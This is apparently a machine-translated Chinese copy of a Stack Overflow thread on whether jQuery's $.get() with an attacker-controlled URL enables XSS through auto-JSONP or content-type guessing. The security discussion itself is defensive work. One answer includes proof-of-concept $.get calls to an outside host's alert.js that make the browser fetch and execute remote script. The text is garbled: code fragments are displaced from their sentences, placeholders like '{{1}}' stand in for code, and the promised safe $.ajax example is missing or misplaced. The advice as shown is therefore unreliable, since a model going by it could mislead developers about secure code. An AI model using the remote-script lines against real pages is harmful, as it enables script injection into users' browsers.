我最近了解到jQuery的$.getJSON()
是not safe to call on an untrusted URL。那么$.get()
呢?当URL参数来自不受信任的来源时,jQuery的$.get()
是否可以安全地调用,或者这是不安全的?
这是我正在进行的安全代码审查,以检查XSS漏洞。示例代码模式:
$.get(url, function (...) { ... })
如果攻击者恶意选择url
,此代码模式是否会创建XSS漏洞?
请假设该函数将安全地处理来自AJAX请求的响应,url
来自不受信任的来源(例如,其他一些用户)并且可以完全由对手控制。
我担心:如果攻击者选择了url
,攻击者是否可以选择恶意URL(例如,包含callback=?
并指向他们自己的网站,或类似的东西)导致jQuery猜测数据类型应该是JSONP,启用JSONP,在文档中插入脚本标记,并引入XSS漏洞in the same way that getJSON() does? (因为我没有将明确的dataType
参数传递给$.get()
,所以jQuery会将数据类型猜测为described in the docs。我不确定它的安全含义是什么。)
我在代码审查中遇到了这种代码模式,我试图了解它是否是一个潜在的漏洞。我不是在寻找可以编写代码的替代方法;相反,我想知道这种代码模式是否安全。
由于威胁模型有点棘手,让我举一个例子来帮助更好地理解这一点。假设Bob是该服务的用户,他可以提供与其个人资料相关联的URL。假设当Alice在浏览器中访问Bob的个人资料页面时,页面上的Javascript代码会获取Bob提供的URL并将其作为参数传递给$.get()
。问题是,这样安全吗?鲍勃可以用它来攻击爱丽丝吗? Bob可以触发Alice的浏览器执行任意的Javascript代码,拥有Alice的所有权力吗?正如链接问题所解释的那样,$.getJSON()
在这种情况下是不安全的 - 但是$.get()
呢?它也不安全,还是安全?
由于我收到了一些澄清请求,让我尝试以不同的方式解释/提出问题。假设我正在进行代码审查以检查某些Javascript代码是否包含任何XSS漏洞,我看到以下代码行:
$.get(url, function(resp) { /* do nothing */ });
假设我知道攻击者可以完全控制url
。这是否自动成为XSS漏洞?或者这总是安全吗?或者如果答案是“它取决于”,它依赖于什么?
或者,还有另一种思考方式。假设我正在进行代码审查,我看到以下代码行:
$.get(url, f);
假设我知道攻击者可以完全控制url
。我需要检查什么,以验证这是否安全(没有XSS错误)?我知道我需要检查f
的代码以查看它是否安全地处理响应,因为如果f
不小心它可能会引入XSS错误。我的问题是:我唯一需要检查的是什么?或者,无论f
的编码方式如何,此代码模式始终是XSS漏洞吗?
答案 0 :(得分:10)
如果攻击者恶意选择网址,此代码模式是否会创建XSS漏洞?
编辑:是的,但不是你问题中的原因。
使用ajaxPrefilter("json jsonp")
将奇怪的自动JSONP功能内部应用于AJAX请求。因此,它适用于json
预过滤器列表,但不适用于其他类型或默认*
。但是,prefilters在响应发生之前应用,所以这不会因为服务器回复类似JSON的类型而发生。
(目前 - 从1.11.2开始 - getJSON
的文档没有描述这种潜在危险行为准确触发的情况。get
和{{1}的文档根本没有提到auto-JSONP。所以也许它应该被认为是一个错误。当然,考虑到它的指定性如何,我不会依赖它在未来版本的jQuery中保持不变。)
它易受攻击的实际原因(如framp和牙刷所示)是没有ajax
参数,jQuery会从响应中猜出一个。如果攻击者的URL命中了一个类似JS的dataType
资源,jQuery会猜测它是JavaScript而Content-Type
。注意:为了使AJAX请求足以使其工作,对于第三方服务器上的资源,它必须包含CORS头。
eval
此版本不容易受到响应类型猜测的影响。但是, 容易受到自动JSONP过滤器的攻击。</ p>
为安全起见,您必须同时设置$.get(url, function (...) { ... }, 'json');
选项和,如果该选项为dataType
,还必须设置json
选项。很遗憾,您无法在jsonp: false
方法中设置jsonp
选项。你应该可以通过传入一个选项字典而不是参数来做到这一点,但你不能,因为这个API目前完全不起作用,因为jQuery是一个令人遗憾的混乱的破坏的Do-What-I-Mean API其行为它(越来越)难以预测。
因此,从不受信任的URL获取JSON的唯一安全方法是通过基本get()
:
ajax
答案 1 :(得分:8)
jQuery.get
会造成XSS安全风险。
如果您查看jQuery的源代码(或jQuery.get
的文档),您会看到jQuery.get
和jQuery.post
只是jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });
的包装。
这里有两个问题:
dataType
为jsonp
,或者网址以=?
结尾且dataType
为json
,则jQuery将尝试发出JSONP请求,然后{ {1}}剧本。eval
为dataType
且json
选项设置为jsonp
因此,如果您将false
设置为dataType
,将json
设置为jsonp
,则是安全的可以调用false
一个未知的URL。
jQuery.get
$.get(url, function(...) { ... });
答案 2 :(得分:5)
取决于。
TL; DR是的,在某些情况下它不安全。
如果:
然后攻击者可以在你的页面上执行JS。
具有匹配协议的恶意服务器,正确的CORS标头(Access-Control-Allow-Origin: *
)将能够在您的页面上执行JS,这要归功于来自Content-Type标头的jQuery自动检测(JS将为{{ 1}})。
您可以在stackoverflow上尝试此页面的示例(假设您已经script
):
http
如果您想查看未设置CORS标头会发生什么:
$.get('http://zensuite.net/js/alert.js', console.log.bind(console));
相反,在谈论您的假设时,您可能无法让jQuery将正常的XHR请求转换为远程包含脚本。
简要地看一下code我认为这不可能发生(除非某处有错误),因为你可以切换到&#34;远程脚本模式&#34;只有在要求运输之前,$.get('https://zensuite.net/js/alert.js', console.log.bind(console));
是
dataType
正则表达式json
匹配时,rjsonp
; /(=)\?(?=&|$)|\?\?/
jsonp
这些也很脆弱:
script
这当然与问题无关,因为您可以使用$.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp');
$.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script');
来执行远程代码。
答案 3 :(得分:1)
这是一个好点。但是如何强制数据类型格式以确保它不会被用作JSONP
$.ajax({
url: url,
data: data,
success: success,
dataType: dataType // force text/plain
});
当我们想要加速解析时,使用了真正的$.getJSON()
,所以如果您真的知道安全性,请使用自定义的$.ajax()
来电。
答案 4 :(得分:0)
根据https://nvd.nist.gov/vuln/detail/CVE-2015-9251
,这是jQuery <3.0.0的XSS漏洞3.0.0之前的jQuery在没有dataType选项的情况下执行跨域Ajax请求时,很容易受到跨站点脚本(XSS)攻击,从而导致执行文本/ javascript响应。
答案 5 :(得分:-3)
你知道,黑客可以简单地打开开发控制台并编写他想要的任何$.get
,他甚至不必更改你的url
变量。实际上,只要它不干扰相同的域策略,他就可以运行他想要的任何代码。客户端安全的全部意义在于确保这个人只能破解自己。
因此,无需尝试保护客户端的任何内容,您不能信任来自浏览器的任何内容,因此您应该始终检查服务器中收到的数据,并允许最小的接口两者之间(知道你的参数,他们的类型等)。